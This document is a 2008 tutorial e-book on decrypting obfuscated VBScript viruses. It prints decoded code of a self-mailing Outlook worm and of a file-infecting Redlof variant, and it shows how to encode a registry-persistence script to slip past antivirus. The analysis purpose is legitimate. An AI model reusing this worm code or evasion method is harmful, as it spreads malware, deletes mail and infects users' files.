Pro Decrypting VBScript Viruses

Page 1

Pro Decrypting VBScript Viruses

MARTANI Fakhrou

-1-

Copyright MARTANI Š April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

-2-

Pro Decrypting VBScript Viruses A step-by-step guide to decrypt VBScript viruses with fully supported source code and tools.

By MARTANI FAKHROU

Copyright MARTANI eXpress © 2008

You can download the source code of the book from http://martani.net.googlepages.com

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

-3-

To Fakhrou!

Copyright MARTANI Š April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Contents About the author …………………………………………………………………………… 5 Introduction…………………………………………………………………………………. 5 -4-

An Overview Of This Book………………………………………………………………… 6 Who Should Read This Book…………………………………………………………….. 7 Obtaining This Book‘s Source Code…………………………………………………….. 7 How To Reach Me…………………………………………………………………………. 7 Disclaimer………………………………………………………………………….………. 7 How To Use This Book…………………………………………………………………… 8 WSH Encoding…………………………………………………………………………….. 9 From VBScript WMI and ADSI unleashed……………………………………………… 9

 Chapter 1: Basic Decryption Techniques Why encryption……………………………………………………………. 10 Email-Worm.VBS.Homepage case study………………………………. 13 Virus.VBS.Redlof.l case study…………………………………………… 17 A Windows Script Encoder sample virus | Virus.VBS.Redlof.n case study………………………………………………………………………… 20 o Summary…………………………………………...………………………. 25 o o o o

 Chapter 2 : A real decryption process o Analyzing the Virus.VBS.Agent.ah.vbs code………………………….. 26  First look to the virus code……………………………………….. 26  finding the entry point of the code………………………….…… 27  analyzing the first executed function…………………………… 29  Decrypting the first executed function……………………….…. 29 o Decrypting the Virus.VBS.Agent.ah source code………………..……. 36  the problem with the decrypted function………………….……. 39  the final source code……………………………………………... 44 o Summary…………………………………………………………………… 45 o What‘s next………………………………………………………………… 46

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

About The Author

-5-

MARTANI Fakhrou has been developing si nce he was 12 years old; he has firsthand developer experience with a variety of languages, including Visual Basic, C#. He is interesting in .NET framework and its related technologies like ADO.net, XML.Net, ASP.net, Web Services, Silverlight and WPF, in his free time you can find him reading books about programming, physics and philosophy, or viewing his favorite TV shows.

Introduction “Viruses don’t harm, ignorance does. Is ignorance a defense?” herm1t “[...] I am convinced that computer viruses are not evil and that programmers have a right to create them, to possess them and to experiment with them . . . truth seekers and wise men have been persecuted by powerful idiots in every age . . . ´ ’ Mark A. Ludwig The purpose of this book is to propose a teaching approach to understand how viruses are encrypted (encoded – we use the two words interchangeably), and how to reverse-engineering the process of encrypting, it also introduces some techniques you can use in any program, most importantly scripts like in Perl, VBScript, JavaScript or web frameworks like ASP. The first look at an encrypted virus might be not easy, but knowing what‘s going really inside will give you the best vision about those viruses and how they work, in fact the VBScript viruses decrypt themselves before they can be executed, and that‘s why hackers must include the logic of decryption within their viruses, and here comes the weakest point in those viruses. Some people say that VBScript is the paradise for virus writers, it has almost access to everything in your system, change the registry, the security settings, SAM accounts also, a total access to the WMI and ADSI and so more other tricks, so why not use it to write malicious code? Another thing, Time has proven that Microsoft's version of javascript, "JScript" is very insecure. JS/Seeker.B is an example of what can be done with it.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Because scripts are not compiled programs, they are executed without any change in the original text. This might be a problem for many reasons like: everyone that have a read privileges to the file system can read the script, that may be a real problem to administrators especially in a network system, also Antivirus programs can have a signature of a virus by just analyzing the text inside it. -6-

An Overview of This Book In this book, you will learn how to decrypt a VBScript virus and find the original source code; it will also teach you a number of techniques used by hackers to protect their source code. That may be so effective for use with your own code or your secret algorithms, which is very useful. This book will not talk about the virus behavior or its VBScript specified functions right now (another book will discuss the VBScript viruses behavior so wait for it, you can check for other related books at http://martani.nry.googlepages.com), it is intended to discuss the methods hackers use to obfuscate their source code so others can‘t understand it. And AVs cannot just detect the threats so early. I gave also some examples about some easy-to-understand viruses and other algorithms I found on the web, so they can make a good base you can start from, I also mentioned some ways of decrypting Encoded scripts by the WSE (Windows Script Encoder), but I don‘t provide any real source codes (you know Microsoft and the Copyrights!!!!), but you can download the MARTANI_WindowsScriptDecoder that handles that you from my website. Also, this book supposes that you have a little knowledge about VBScript and scripting in general. It will not teach you VBScript, if you wish to learn VBScript these books are so good to start: wrox vbscript programmer's reference or Sams VBScript WMI and ADSI Unleashed. One more thing: there is no Technical Reviewer or any help from others, I wrote this book alone, if there are some errors you can understand the situation, also English is not my language, so expect lots of grammatical mistakes, your help is welcome about that of course.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Who Should Read This Book You may think that this book is just for VB or VBScript programmers! In fact, this book is for anyone with some basic programming skills and whatever language or framework used, because it‘s just about decrypting a text file, and has no VBScript specific stuff. -7-

Despite the project I am using here is designed in VB.Net, you are free to use any programming language you want, you may even just follow without coding, because I used a step-by-step process to show you the basics of decrypting.

Obtaining This Book’s Source Code I have found that the best way to learn and retain a new skill is through hands-on examples. For this reason, this book contains complete examples of source code. When you are ready to execute the example code, you don‘t have to enter it yourself. You can download all of the code presented in this book from my site at http://martani.net.googlepages.com, visit also our forums for more support at http://mtic.1fr1.net .

How To Reach Me If you have questions or comments about this book or other ―decryption‖ questions, I‘d love to hear from you. Just send your e-mail to martani.net@live.fr. To make sure your mail makes it past my spam filters you might want to include the text Decrypting VBS virus somewhere in the subject line.

Disclaimer This book is for demonstrative and educational purposes only. Use of this book and the source code or the programs with it is at your own risk. The author cannot be held responsible if any laws are broken by use of this book. THIS BOOK AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR PURPOSE. If you use or distribute information or source code in this book, you should associate the book‘s title, website and the author‘s name. Also, any program based upon this books‘ information should display the copyright message and the disclaimer. Copyright 2008. All Rights Reserved MARTANI ©.

martani.net@live.fr

|

http://mtic.1fr1.net | http://martani.net.googlepages.com

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

How To Use This Book As I mentioned before, I used a step-by-step process in this book, so you can find the associated code it in the attached project, you just run the project and choose the step you want and you will get immediately the source code I used in decrypting and the result of the part you are reading. -8-

The following is the flag you find when you are in the step 1 of the decrypting vbs virus project for example: Project: decrypting vbs virus _ Step 1 The chapters of this book are not related, so you can start by anyone you want, but I strongly suggest that you start from the beginning. The associated viruses are stored as plain text files and so will not cause any problems when viewed using notepad or any other text editor. However, since most of these are actual unmodified viruses, your virus scanner will complain. If you leave them as TXT (text) files, they will not cause any problems. You can download the source code and other support tools from my web site: http://martani.net.googlepages.com For more tutorials and supports about technologies and programming visit our forums at: http://mtic.1fr1.net Or e-mail me at: martani.net@live.fr

Copyright MARTANI Š April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

WSH encoding

-9-

In this tutorial, we will deal with script-based viruses, and exactly VBScript viruses. If you have already got your hands dirty with VBScript scripts you will notice that there are many methods for encrypting a script (a virus or not, whatever), Microsoft offers a encoding tool to use with scripts, the Windows Script Encoder, the encoder can take a script and make it like that: //**Start Encode**#@~ ^QwIAAA==@#@&0;mDkWP7nDb0z ZK D.n1YAMGhk+Dvb`@#@&P,kW`UC7kLlDG Dcl22gl:n~{‗~Jtr1DGkW6YP&xDnD+OPA62sK D+ME#@#@&P,~~k6P vxC\ rLmYGDcCwa.n.k kWUbx[+X66Pcr*c J#,@*{~ !*P~P,P~. YEMU`DDE bIP,P,+s/n@#@&P~P,~PM+ O;Mx`WC^ /n#pN6E U1YbWx,o Obaw.WaDrCD+nmL+ v#@#@&~P7lMP dY.q,‘~J_CN,Y4rkP4nnPCx,C1Y ;mV, +(PkrY ~~l,wCL PmKhwmYk(snPSkDt~JI@#@&P~\m.PkY.+,‘PE8MWA/ .kPGDt D PDtmUPri@#@&,P-CMP/ D.&,‘Pr\rmMWkWWY~

After encrypting a script, a .vbe or .je extension file name will be produced, The different filename extension tells Windows Script Host (WSH) that it needs to decode the script before executing it; if you change the filename extension to .vbs (or .js), you receive a runtime error when executing the script, but changing a .vbs file to .vbe doesn‘t affect anything. Encrypted scripts can stop only a casual user, in fact a web search for ―Windows Script Decoder‖ will turn up several free tools designed to quickly decode an encoded script. And of course anyone with a little time on his hands and some techniques in programming can decode the encoded script.

From VBScript WMI and ADSI unleashed ―Why can scripting be dangerous?‖ isn‘t a question many administrators have to ask. A noticeable percentage of all new viruses, according to some authorities, are script based; certainly some of the most devastating viruses, including Nimda, Melissa, and others, propagate at least partially through scripts sent via email. Even internally produced scripts can be dangerous, as scripts can delete users, create files, and perform any number—in fact, an almost unlimited number—of tasks.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Basic encryption / decryption techniques

- 10

-

In this chapter we will see some basic techniques about encrypted viruses, we will take as example two viruses which implement the basic algorithms of encryption and I will show you how to decrypt them easily. Besides, if you have practiced decoding before you may realize that the algorithms are so simple. You can directly move ahead to the next chapter but I strongly suggest that you read this chapter. You have to know also that these two viruses are so old, that‘s why they are too simple like that. Well, after this case study of the two viruses we will see also a virus which is encrypted with the Windows Script Encoder, and try to spot out the differences between encrypted scripts by hackers and encrypted scripts by the Windows Script Encoder.

Chapter I Basic Decryption Techniques 1. Why encryption? 1.a. EmailWorm.VBS.Homepage case study 1.b. Virus.VBS.Redlof.l case study 1.c. A Windows Script Encoder sample virus | Virus.VBS.Redlof.n case study Summary

Why encryption Some people may ask why encrypting a virus if it still does the same thing even not encrypted, and what can encryption do really for a virus (or a script in general). Well, there are few reasons for that and the best of them is: obfuscation! Yes obfuscation. Let‘s say you are a network administrator and you want to run a simple script every time a user loges on, and to do that you have to run an application at startup. We know that the best way to do that is playing around the windows registry, exactly in the following key HKLM\Software\Microsoft\Windows\CurrentVersion\Run\. That‘s so easy I guess, every programming language has its API‘s to manage the registry but one of the easiest ways to do that is with VBScript (the easiest I believe). Well, lets be that network administrator! Fire up notepad, or whatever text editor you want and type these lines:

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Dim Startup Set Startup = CreateObject("WScript.Shell") Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\", & _ "MyScript.vbs"

The & _ sign mean that the line is not ended yet, so you must be careful when you copy the script, you must make it one line like that: - 11

Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\", "MyScript.vbs"

Save that file as script.vbs, and if you have a good up to date antivirus it will block it right away. When I tried to save it my antivirus (Kaspersky 7) alert me the following threat découvert : virus Type_Script (modification). As we all know, this script is for administrating purposes and we strongly need to perform that task, so as a solution we may change the script text to something not understandable by the AV (or the users we try to manage). So let‘s try to change some thing in our previous script, the idea is to iterate through all the script characters and replace each one by the character with the next ASCII code, means that a  b, A  B and so on… doing that is too simple and here is the script: msgbox(encode("Dim Startup:Set Startup = & _ CreateObject(""WScript.Shell""):Startup.RegWrite & _ ""HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"", ""MyVirus.vbs""")) Function encode(s) For i = 1 To len(s) t = mid(s, i, 1) t = chr(asc(t) + 1) coded = coded + t Next encode = coded End Function

This script is straightforward, there is a function called encode with an s parameter, it iterates through the characters of the s variable and replaces replace each one with its successor in the ASCII code. Then the resulting string is displayed with the msgbox procedure. You can save that script with a .vbs extension file, running that script gives us the following result:

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

This resulting text is in fact the script we wrote previously which was detected by the AV as a threat. Now the next step is to include this text in our script and include also the function that decodes it, and this way we can run our script normally.

- 12

-

The function that decodes the encoded text is straightforward, it‘s just reversing the one that encodes the script, as you remember we replaced each characters by its successor in the ASCII code, so now we have just to replace each character by its predecessor. Ok now its time to try it out, this is the script: msgbox(decode("Ejn!Tubsuvq;Tfu!Tubsuvq!>!DsfbufPckfdu)#XTdsjqu/Tifmm#*;Tubs uvq/SfhXsjuf!#ILMN]Tpguxbsf]Njdsptpgu]Xjoepxt]DvssfouWfstjpo]Svo]#!#NzWjsvt/wct#")) Function decode(s) For i = 1 To Len(s) t = Mid(s, i, 1) t = Chr(Asc(t) - 1) coded = coded + t Next decode = coded End Function

Saving it as a .vbs file and running it gives the following result:

Do you realize that? The following encoded text from the previous script ("Ejn!Tubsuvq; Tfu!Tubsuvq!>!DsfbufPckfdu)#XTdsjqu/Tifmm#*; Tubsuvq/SfhXsjuf!#ILMN] Tpguxbs f]Njd sptpgu] Xjoepxt]DvssfouWfstjpo]S vo]# -!#NzWjsvt/wct#")

Gives us the previous figure! Although the virus is still detectable by the AVs but, you just saw a simple encryption process that encrypt a script to obfuscate it, so people can‘t realize what‘s inside and with more hard work you can also play around antivirus programs. (Don‘t think we just made a virus or a part of it, also if the AV still detect your script as a threat, it doesn‘t mean that this process is not working, we are just giving sample techniques here to show up the ways hackers use to obfuscate their scripts, if you want your AV to wake up, change the msgbox with execute in the previous script and see what will happen ).

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

1. a. Email-Worm.VBS.Homepage case study

- 13

-

As I mentioned in this chapter, we will discuss simple techniques hackers use to prevent casual users from looking to their viruses (scripts), and especially to make them undetectable against Antivirus (which is the most important aim of encryption). We will take as a case study the Email-Worm.VBS.Homepage virus, In fact it‘s an old virus but it uses the same techniques found in the newest viruses. The encrypted source code of the virus is attached with the joined source code in the 1st_Virus.txt file. That way (encrypting the virus) the Antivirus can't just get a signature of the encrypted text and look for it, in almost the cases those encryption techniques changes and one virus can has more than one algorithm to encrypt itself. The following section shows how to analyze an encrypted virus (in VBScript of course) and play around the instruction it uses to decrypt it easily, you can do the encryption by yourself, and you should take your time analyzi ng the virus again and again to understand really how the encryption / decryption process works. One of the most funny things you can also try is to make up the encrypting function (the one that encrypt the source code), and you will see that you are able to make your own techniques to obscure the code.

First look to the encrypted source code

Copyright MARTANI Š April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

The virus source code is straightforward, it‘s composed of two parts, an execute statement in the first line, and a function called DeCode. The DeCode function has one argument, a string argument called coded, that function returns a string also, which is the decoded string, and that decoded string -which is in fact the virus source code - will be executed after that by the execute statement. - 14

-

If we take a closer look to the DeCode function we realize immediately that it iterates through the characters of the encoded string and does some changes as follows: 1. replaces the characters with the ASCII code 15, 16, 17 and 18 by the following ones : 10, 13, 32 and 9 respectively 2. every other character is replaced by the character that holds his ASCII code minus two. That‘s all, we have just to mention here that the execute statement executes the string passed to it. So if you want to try this out start a new project (VB project optionally), declare a variable x with the encoded string in the virus source code 1st_virus.txt and just paste the DeCode function in your project, the following page shows the full code of a VB.Net class that demonstrates that (see next page). As you know we need to know the virus source code and not to execute it, that‘s way we assigned the result of the DeCode function to the Text property of a TextBox. Note that I make option strict and option implicit to off to behave closely to VBScript (avoiding declaration and returning values of functions and most importantly type casting). You can find all that source code in the project named chapter1.sln, which is associated with the book‘s source code.

TIP : VBScript uses just one type for variables which is the Variant type, it then do casting on the fly, if it needs an integer it casts the variable to integer and so on… so don‘t worry about the returning values of the functions or the variables type, VBScript handles all that!

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Project: chapter 1 _ virus 1 1ST DECRYPTING TECHNIQUE. Option Explicit Off Option Strict Off - 15

-

Public Class Form1 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Dim x As String = "Qp_Gttqt_Tguwog_Pgzv_ً gv_YU_?_EtgcvgQdlgev*$YUetkrv0Ujgnn$+_ً gv_HUQ?_Et gcvgqdlgev*$uetkrvkpi0hkngu{uvgoqdlgev$+_ً qnfgt?HUQ0IgvUrgekcnHqnfgt*4+ _ً '10ً gv_KpH?HUQ0QrgpVgzvHkng*YUetkrv0UetkrvHwnnpcog.3+_‫ے‬q_Yjkng_KpH0CvG pfQhUvtgco>@Vtwg_ً etkrvDwhhgt?UetkrvDwhhgt(KpH0TgcfNkpg(xdetnh_ً qqr_ً '10ً g v_QwvH?HUQ0QrgpVgzvHkng*Hqnfgt($^jqogrcig0JVON0xdu$.4.vtwg+_ً wvH0ytkvg_ UetkrvDwhhgt_ً wvH0enqug_ً gv_HUQ?Pqvjkpi_ً '10ً h_YU0tgitgcf_*$JMEW^uqhvyctg^ Cp^ockngf$+_>@_$3$_vjgp_ً cknkv*+_ً pf_Kh_ً '10ً gv_u?EtgcvgQdlgev*$Qwvnqqm0Cr rnkecvkqp$+_ً gv_v?u0IgvPcogUrceg*$OCRK$+_ً gv_w?v0IgvFghcwnvHqnfgt*8+_ً qt_ k?3_vq_w0kvgou0eqwpv_ً h_w0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$_Vjgp_ً 0Kvgou0 Kvgo*k+0enqug_ً 0Kvgou0Kvgo*k+0fgngvg_ً pf_Kh_ً gzv_ً gv_w?v0IgvFghcwnvHqnfgt* 5+_ً qt_k?3_vq_w0kvgou0eqwpv_ً h_w0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$_Vjgp_ً 0 Kvgou0Kvgo*k+0fgngvg_ً pf_Kh_ً gzv_ً '10ً cpfqok|g_ً ?Kpv**6,Tpf+3+_ً h_t?3_vjgp_ً U0Twp*$jvvr<11ovke03ht30pgv$+_ً nugkh_t?4_Vjgp_ً U0Twp*$jvvr <11ovke03ht30pgv$+_ً nugkh_t?5_Vjgp_ً U0Twp*$jvvr<11ovke03ht30pgv$+_ً nugKh_ t?6_Vjgp_ً U0Twp*$jvvr<11ovke03ht30pgv$+_ً pf_Kh_ً '10ً wpevkqp_Ocknkv*+_ً p_Gtt qt_Tguwog_Pgzv_ً gv_Qwvnqqm_?_EtgcvgQdlgev*$Qwvnqqm0Crrnkecvkqp$+_ً h_Qwvn qqm_?_$Qwvnqqm$_Vjgp_ً '12Ugv_Ocrk?Qwvnqqm0IgvPcogUrceg*$OCRK$+_ً '12Ugv_N kuvu?Ocrk0CfftguuNkuvu_ً '12Hqt_Gcej_NkuvKpfgz_Kp_Nkuvu_ً '12_Kh_NkuvKpfgz 0CfftguuGpvtkgu0Eqwpv_>@_2_Vjgp_ً '12__EqpvcevEqwpv_?_NkuvKpfgz0CfftguuG pvtkgu0Eqwpv_ً '12__Hqt_Eqwpv?_3_Vq_EqpvcevEqwpv_ً '12___Ugv_Ockn_?_Qwvnqq m0EtgcvgKvgo*2+_ً '12___Ugv_Eqpvcev_?_NkuvKpfgz0CfftguuGpvtkgu*Eqwpv+_ً '1 2___Ockn0Vq_?_Eqpvcev0Cfftguu_ً '12___Ockn0Uwdlgev_?_$Jqogrcig$_ً '12___Oc kn0Dqf{_?_xdetnh($Jk#$(xdetnh(xdetnh($[qw)xg_iqv_vq_ugg_vjku_rcig#_Kv) u_tgcnn{_eqqn_=Q+$(xdetnh(xdetnh_ً '12___Ugv_Cvvcejogpv?Ockn0Cvvcejogpvu _ً '12___Cvvcejogpv0Cff_Hqnfgt_(_$^jqogrcig0JVON0xdu$_ً '12___Ockn0FgngvgC hvgtUwdokv_?_Vtwg_ً '12___Kh_Ockn0Vq_>@_$$_Vjgp_ً '12___Ockn0Ugpf_ً '12___YU 0tgiytkvg_$JMEW^uqhvyctg^Cp^ockngf$._$3$_ً '12__Gpf_Kh_ً '12__Pgzv_ً '12_Gpf _Kh_ً '12Pgzv_ً pf_kh_ً pf_Hwpevkqp" Textbox1.text = DeCode(x) End Sub Function DeCode(ByVal Coded) For I = 1 To Len(Coded) CurChar = Mid(Coded, I, 1) If Asc(CurChar) = 15 Then CurChar = Chr(10) ElseIf Asc(CurChar) = 16 Then CurChar = Chr(13) ElseIf Asc(CurChar) = 17 Then CurChar = Chr(32) ElseIf Asc(CurChar) = 18 Then CurChar = Chr(9) Else CurChar = Chr(Asc(CurChar) - 2) End If DeCode = DeCode & CurChar Next End Function End Class

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Running that code will give us the fully supported VBScript source code, next is a portion of that source code. You can find the full source code in 1st_Virus_Complete_Src.txt file. A PORTION OF CODE FROM 1ST _VIRUS _C OMPLETE _SR C. TXT.

- 16

-

On Error Resume Next Set WS = CreateObject("WScript.Shell") Set FSO= Createobject("scripting.filesystemobject") Folder=FSO.GetSpecialFolder(2) Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1) Do While InF.AtEndOfStream<>True ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf Loop Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true) OutF.write ScriptBuffer OutF.close Set FSO=Nothing If WS.regread ("HKCU\software\An\mailed") <> "1" then Mailit() End If Set Set Set For

s=CreateObject("Outlook.Application") t=s.GetNameSpace("MAPI") u=t.GetDefaultFolder(6) i=1 to u.items.count If u.Items.Item(i).subject="Homepage" Then u.Items.Item(i).close u.Items.Item(i).delete End If

Next Set u=t.GetDefaultFolder(3) For i=1 to u.items.count If u.Items.Item(i).subject="Homepage" Then u.Items.Item(i).delete End If Next

Pretty cool and simple isn‘t it? Well if you think it‘s this simple, I invite you to move ahead to the next chapter (a newer virus with the same technique is waiting for you). As I said before try to make out the encoding function, it‘s so easy also.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

1. b. Virus.VBS.Redlof.l case study In the previous section we saw how the Email-Worm.VBS.Homepage is encoded and how easy it can be decoded. - 17

-

Now we will see a more serious one that is more complicated than the one we saw before (in fact it‘s not complicated at all, compared with the previous one we can say that), you can find the encrypted source code in the file 2nd_Virus.txt. As you may guess that virus has the same architecture as the previous one (this is real about all VBScript viruses in fact), some encrypted variables that hold the source code, and other functions to decode these variables, and of course the famous execute statement to execute our code. This is a sample screenshot of the encrypted virus:

By analyzing that code we spot the ExeString variable (line 7) that holds the encrypted source code, and an execute statement in line 9 which actually decodes the variable ExeString and finally another execute state ment in line 18 which executes the code inside the ThisText variable, as you may think the first execute statement decodes the ExeString variables and puts the result in the ThisText variable. In the previous virus there was a function that decodes the source code, but here there is no such function, the key to understand how the decryption takes place is to clarify more the role of the execute statement. The execute statement executes whatever in the string passed as a parameter to it, that parameter is composed of a concatenation of multiple strings, we mention that VbCrLf mean a new line like ―\n‖ in the C style languages.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Over this book we will follow a simple process, we take whatever inside the parentheses of the execute statement and affect it to the Text property of a TextBox as follows (just a trick here we replace the "&vbCrLf&" substring by its equivalent): Project: chapter 1 _ virus 2 a - 18

-

Private Sub virus2a_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load Dim x As String x = "Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = 7""&vbCrLf&""KeyArr(1) = 8""&vbCrLf&""KeyArr(2) = 3""&vbCrLf&""KeyArr(3) = 5""&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next" TextBox1.Text = Replace(x, """&vbCrLf&""", vbCrLf) End Sub

That code gives us the following result: Dim KeyArr(3), ThisText KeyArr(0) = 7 KeyArr(1) = 8 KeyArr(2) = 3 KeyArr(3) = 5 For i=1 To Len(ExeString) TempNum = Asc(Mid(ExeString,i,1)) If TempNum = 18 Then TempNum = 34 End If TempChar = Chr(TempNum + KeyArr(i Mod 4)) If TempChar = Chr(28) Then TempChar = vbCr ElseIf TempChar = Chr(29) Then TempChar = vbLf End If ThisText = ThisText & TempChar Next

That code‘s role is to decode (concatenate from multiple parts in fact) that ExeString variable and puts the result in the ThisText variable, the code is straightforward also, there‘s an array KeyArr() and a string variable ThisText. In fact it does the same work as the previous virus, it iterates through the encoded string ExeString and replace the characters with the code ASCII equal to 18 by the one of 34, then it creates another variables which holds a byte (a character) TempChar having the following value TempChar = (Chr(TempNum + KeyArr(i Mod 4))) and then if that value is 28 ASCII code, it will be replaced by the vbCr constant and if it is 29 it will be replaced by vbLf constant. This is the same as the first virus.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Notice some changes in this code from the first; despite that the principle is the same, this code uses executed instructions instead of a hard coded function, also it shows some different behavior in decrypting the encrypted string, though it stills so simple to understand how the code works. Project: chapter 1 _ virus 2 b - 19

-

Now we move to the decryption process of the encrypted string, we declare the ExeString in our Load form event and paste the previous code as follows (of course we associate to the ExeString variable its value from the virus source code) You find the complete decrypted 2nd_Virus_Complete_Src.txt file

source

code

of

the

virus

in

The source code is long that‘s why its not listed here, check the chapter 1.sln project to see the whole source code.

Copyright MARTANI Š April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

1.c. A Windows Script Encoder sample virus Virus.VBS.Redlof.n case study. - 20

-

One of the ways hackers use to obscure their viruses‘ source code is using the Windows Script Encoder tool, this tool is designed by Microsoft to protect scripts from casual users, and it was a great tool for developers and system administrator. As you may guess hackers took their play and designed viruses encrypted by this tool. After some time, programmers start thinking about the algorithms used by the Windows Script Encoder and realized some things: first, the script runs everywhere, in all computers that have WScript.exe or CScript.exe installed, and that‘s why the algorithm used seems static, so it doesn‘t change, or uses some keys to be decoded. Another thing that they realized is the presentation of the decoded script , some characters do not change after encoding, and others change to some combination and so on. In this book I will not discuss the algorithms used to encode the scripts, and therefore I won‘t also discuss the ones about decryption, I am not sure yet about the copyrights and some other stuff, anyway you can find a complete tutorial about those techniques of encoding on my web site http://martani.net.googlepages.com, I also included a decoding tool that you can download from my website also. Moving to our virus, we will discuss the ways we deal with that type on encryption and how to break it down to find the original source code, the virus is Virus.VBS.Redlof.n, and a simple view of the encoded source code seems like follows. You can find it in 3rd_virus.txt file.

In line 1 we can see the <script> tag, and inside it we have language=vbscript.encoded which means that the following script is encoded by the Windows Script Encoder and it must be decoded before being executed, another thing to mention here is that the <script> tag means that the virus is inside a web page, and in the other case (a standalone file), the extension must be .vbe or .je for Jscript.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

- 21

-

MARTANI Fakhrou

After that we find the encoded script, and it have no VBScript specific statement, so don‘t even try to search for the execute statement or another function, to decrypt these scripts just fire up MARTANI_WSD (MARTANI_Windows Script Decoder), and paste the encoded string, and you get right away the decoded script (even by providing that tool I guess that I‘m not respecting copyrights lol ). MARTANI_WSD is developed under the .Net FrameWork 2 so you must install it first to use the application, it‘s available for download from: http://martani.net.googlepages.com Just download and run it, paste the encoded script in the first text area and you‘ll get immediately the decoded script.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

And here is the decoded virus, 3rd_Virus_Complete_Src.txt: VIRUS.VBS.REDLOF .N V IRUS

- 22

-

<script id=icaros language=vbscript.encode><!-On Error Resume Next Const AppletName = "vbs.icarOs.3.0.0" Const AppletCode = "com.ms.activeX.ActiveXComponent" Const fsoCLSID = "{0D43FE01-F093-11CF-8940-00A0C9054228}" Const wsCLSID = "{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}" document.write"<applet height=0 width=0 name="&AppletName&"code=" &AppletCode& "></applet>" Set window.onload=GetRef("mainv3_onload") Sub mainv3_onload() RegChange() DropTemplate(TemplateDir) DropTemplate(ThisDirPath) DropMisc() FileScan(ThisDirPath) PLoadCheck() End Sub Sub DropMisc() On Error Resume Next For n = 0 To 1 DropTemplate(fso.GetSpecialFolder(n) & "\") Next For Each d In fso.Drives If d.DriveType=2 then DropTemplate(d.DriveLetter&":\") Next DropTemplate(WshShell.SpecialFolders("MyDocuments") & "\") End Sub Sub PLoadCheck() On Error Resume Next If Month(Now) = 9 And Day(Now) = 26 Then WshShell.Run("RUNDLL32.EXE shell32.dll,SHExitWindowsEx 2") End Sub Sub FileAppend(ByVal f, ByVal c) On Error Resume Next myFile = fso.GetFile(f) n = myFile.Attributes myFile.Attributes = 0 myFile = fso.OpenTextFile(f, 8) myFile.Write(c) myFile.Close() FileAttr(f, n) End Sub Sub FileInfect(ByVal p) On Error Resume Next f = fso.OpenTextFile(p, 1) c = f.ReadAll f.Close() If InStrRev(c, vCode) = 0 Or InStrRev(c, vCode) + Len(vCode) < Len(c) Then FileAppend(p, vCode) End If End Sub Sub FileScan(ByVal p) On Error 